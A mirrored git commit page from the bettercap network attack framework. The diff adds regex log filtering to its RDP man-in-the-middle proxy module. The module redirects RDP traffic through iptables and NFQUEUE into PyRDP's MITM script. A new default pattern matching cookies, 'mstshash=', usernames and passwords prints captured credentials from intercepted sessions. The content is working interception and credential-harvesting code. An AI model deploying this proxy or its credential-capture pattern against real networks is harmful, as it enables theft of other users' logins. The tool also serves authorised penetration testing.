mirror of
https://github.com/bettercap/bettercap
synced 2025-08-22 06:23:18 -07:00
Added regex based logging to rdp proxy
This commit is contained in:
parent
5b88a9aa42
commit
7d05a9a672
1 changed files with 45 additions and 6 deletions
|
@ -7,6 +7,10 @@ import (
|
||||||
golog "log"
|
golog "log"
|
||||||
"net"
|
"net"
|
||||||
"syscall"
|
"syscall"
|
||||||
|
"bufio"
|
||||||
|
"io"
|
||||||
|
"regexp"
|
||||||
|
"bytes"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/bettercap/bettercap/core"
|
||||||
"github.com/bettercap/bettercap/network"
|
"github.com/bettercap/bettercap/network"
|
||||||
|
@ -19,14 +23,16 @@ import (
|
||||||
|
|
||||||
type RdpProxy struct {
|
type RdpProxy struct {
|
||||||
session.SessionModule
|
session.SessionModule
|
||||||
|
targets []net.IP
|
||||||
done chan bool
|
done chan bool
|
||||||
queue *nfqueue.Queue
|
queue *nfqueue.Queue
|
||||||
queueNum int
|
queueNum int
|
||||||
port int
|
port int
|
||||||
startPort int
|
startPort int
|
||||||
cmd string
|
cmd string
|
||||||
|
regexp string
|
||||||
|
compiled *regexp.Regexp
|
||||||
active map[string]exec.Cmd
|
active map[string]exec.Cmd
|
||||||
targets []net.IP
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var mod *RdpProxy
|
var mod *RdpProxy
|
||||||
|
@ -41,6 +47,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy {
|
||||||
port: 3389,
|
port: 3389,
|
||||||
startPort: 40000,
|
startPort: 40000,
|
||||||
cmd: "pyrdp-mitm.py",
|
cmd: "pyrdp-mitm.py",
|
||||||
|
regexp: "(?i)(cookie:|mstshash=|username|password)",
|
||||||
active: make(map[string]exec.Cmd),
|
active: make(map[string]exec.Cmd),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -56,15 +63,17 @@ func NewRdpProxy(s *session.Session) *RdpProxy {
|
||||||
|
|
||||||
mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to."))
|
mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to."))
|
||||||
mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept."))
|
mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept."))
|
||||||
mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for pyrdp sessions."))
|
mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for PyRDP sessions."))
|
||||||
mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle."))
|
mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle."))
|
||||||
mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts."))
|
mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts."))
|
||||||
mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges."))
|
mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges."))
|
||||||
|
mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|username|password)", "", "Print PyRDP logs matching this regular expression."))
|
||||||
return mod
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mod RdpProxy) Name() string {
|
func (mod RdpProxy) Name() string {
|
||||||
return "rdp.proxy"
|
return "rdp.proxy"
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mod RdpProxy) Description() string {
|
func (mod RdpProxy) Description() string {
|
||||||
|
@ -86,6 +95,25 @@ func (mod *RdpProxy) isTarget(ip string) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Filter PyRDP logs to only show those that matches mod.regexp
|
||||||
|
func (mod *RdpProxy) filterLogs(prefix string, output io.ReadCloser) {
|
||||||
|
scanner := bufio.NewScanner(output)
|
||||||
|
|
||||||
|
// For every log in the queue
|
||||||
|
for scanner.Scan() {
|
||||||
|
text := scanner.Bytes()
|
||||||
|
if mod.compiled == nil || mod.compiled.Match(text) {
|
||||||
|
// Extract the meaningful part of the log
|
||||||
|
chunks := bytes.Split(text, []byte(" - "))
|
||||||
|
|
||||||
|
// Get last element
|
||||||
|
data := chunks[len(chunks) - 1]
|
||||||
|
|
||||||
|
mod.Info("%s %s", prefix, data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Adds the firewall rule for proxy instance.
|
// Adds the firewall rule for proxy instance.
|
||||||
func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) {
|
func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) {
|
||||||
_, err = core.Exec("iptables", []string{
|
_, err = core.Exec("iptables", []string{
|
||||||
|
@ -159,6 +187,12 @@ func (mod *RdpProxy) Configure() (err error) {
|
||||||
return
|
return
|
||||||
} else if mod.targets, _, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil {
|
} else if mod.targets, _, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil {
|
||||||
return
|
return
|
||||||
|
} else if err, mod.regexp = mod.StringParam("rdp.proxy.regexp"); err != nil {
|
||||||
|
return
|
||||||
|
} else if mod.regexp != "" {
|
||||||
|
if mod.compiled, err = regexp.Compile(mod.regexp); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
} else if _, err = exec.LookPath(mod.cmd); err != nil {
|
} else if _, err = exec.LookPath(mod.cmd); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
@ -195,10 +229,11 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int {
|
||||||
|
|
||||||
if mod.isTarget(dst.String()) {
|
if mod.isTarget(dst.String()) {
|
||||||
// TODO: Don't log here and connect a pipe to the process instead.
|
// TODO: Don't log here and connect a pipe to the process instead.
|
||||||
mod.Info("CONNECT [%s:%v -> %v:%v]", src, sport, dst, dport)
|
ips := fmt.Sprintf("[%v:%v -> %v:%v]", src, sport, dst, dport)
|
||||||
|
mod.Info("CONNECT %v", ips)
|
||||||
target := fmt.Sprintf("%v:%v", dst, dport)
|
target := fmt.Sprintf("%v:%v", dst, dport)
|
||||||
|
|
||||||
// 2. Check if the destination IP already has a PYRDP session active, if so, do nothing.
|
// 2. Check if the destination IP already has a PyRDP session active, if so, do nothing.
|
||||||
if _, ok := mod.active[target]; !ok {
|
if _, ok := mod.active[target]; !ok {
|
||||||
// 3.1. Otherwise, create a proxy agent and firewall rules.
|
// 3.1. Otherwise, create a proxy agent and firewall rules.
|
||||||
args := []string{
|
args := []string{
|
||||||
|
@ -208,13 +243,17 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int {
|
||||||
target,
|
target,
|
||||||
}
|
}
|
||||||
|
|
||||||
// 3.2. Spawn pyrdp proxy instance
|
// 3.2. Spawn PyRDP proxy instance
|
||||||
cmd := exec.Command(mod.cmd, args...)
|
cmd := exec.Command(mod.cmd, args...)
|
||||||
// _stderr, _ := cmd.StderrPipe()
|
stderrPipe, _ := cmd.StderrPipe()
|
||||||
|
|
||||||
if err := cmd.Start(); err != nil {
|
if err := cmd.Start(); err != nil {
|
||||||
// XXX: Failed to start the rdp proxy... accept connection transparently and log?
|
// XXX: Failed to start the rdp proxy... accept connection transparently and log?
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Use goroutines to keep logging each instance of PyRDP
|
||||||
|
go mod.filterLogs(ips, stderrPipe)
|
||||||
|
|
||||||
// 3.3. Add a NAT rule in the firewall for this particular target IP
|
// 3.3. Add a NAT rule in the firewall for this particular target IP
|
||||||
mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true)
|
mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true)
|
||||||
mod.active[target] = *cmd
|
mod.active[target] = *cmd
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue